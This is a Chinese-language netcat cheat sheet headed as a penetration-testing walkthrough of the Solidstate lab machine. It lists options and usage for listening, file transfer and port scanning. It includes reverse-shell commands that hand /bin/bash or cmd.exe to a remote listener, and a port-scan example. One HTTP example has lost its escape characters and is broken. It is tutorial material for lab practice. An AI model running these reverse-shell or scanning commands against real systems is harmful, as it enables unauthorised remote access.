渗透实战 | Solidstate靶机攻防全解析

”nc“（netcat）是一个功能强大的网络工具，被称为“网络瑞士军刀”，用于读取和写入网络连接。以下是其常见用法及参数说明：

基本语法

nc [选项] [主机名] [端口]

常用选项及说明

选项                       说明

-l                         监听模式（作为服务器）

-p <端口>           指定本地端口（监听或连接时使用）

-u                       使用 UDP 协议（默认 TCP）

-v                       显示详细输出（-vv 更详细）

-n                       直接使用 IP 地址，不进行 DNS 解析 

-z                       端口扫描模式（不发送数据）

-k                       监听模式下保持连接（配合 -l 使用）

-w <秒>              设置超时时间 

-e <命令>           连接建立后执行命令（安全风险，某些版本不支持）

-4/-6                  强制使用 IPv4 或 IPv6 

常见使用场景

1. 监听端口（服务端）

# 监听 TCP 端口 1234

nc -l -v 1234

# 监听 UDP 端口 1234

nc -l -u -v 1234

2. 连接到远程服务器（客户端）

# 连接到 192.168.1.100 的 TCP 端口 80

nc -v 192.168.1.100 80

# 连接到 example.com 的 UDP 端口 53

nc -u -v example.com 53

3. 文件传输

# 发送文件（服务端监听，客户端发送）

服务端: nc -l 1234 > received_file

客户端: nc -v 192.168.1.100 1234 < send_file

# 接收文件（客户端监听，服务端发送）

客户端: nc -l 1234 > received_file

服务端: nc -v 客户端IP 1234 < send_file

4. 端口扫描

# 扫描 192.168.1.100 的 1-1000 端口（TCP）

nc -z -v 192.168.1.100 1-1000

# 扫描 UDP 端口 53

nc -z -u -v 192.168.1.100 53

5. 作为简易聊天工具

# 服务端监听

nc -l 1234

# 客户端连接

nc 192.168.1.100 1234

6. 反向 Shell（谨慎使用）

# 服务端监听

nc -l 1234

# 客户端反弹 Shell（Linux）

nc 192.168.1.100 1234 -e /bin/bash

# Windows 客户端（需安装 nc）

nc 192.168.1.100 1234 -e cmd.exe

高级用法

1. 代理服务器

   通过 HTTP 代理连接

   nc -X connect -x proxy_ip:port 目标IP 目标端口

2. 发送 HTTP 请求

   echo -e "GET / HTTP/1.1nHost: example.comnn" | nc example.com 80

3. 端口转发

   将本机 8080 转发到 192.168.1.100:80

   nc -l 8080 | nc 192.168.1.100 80

注意事项

1. 不同系统（如 BSD 和 GNU）的 nc 参数可能略有差异，建议通过 man nc 查看本地文档。

2. 使用  -e 参数可能存在安全风险，部分版本默认禁用。

3. 在防火墙或安全环境中，nc 可能被限制使用。

通过灵活组合参数，nc 可以满足大多数网络调试和测试需求。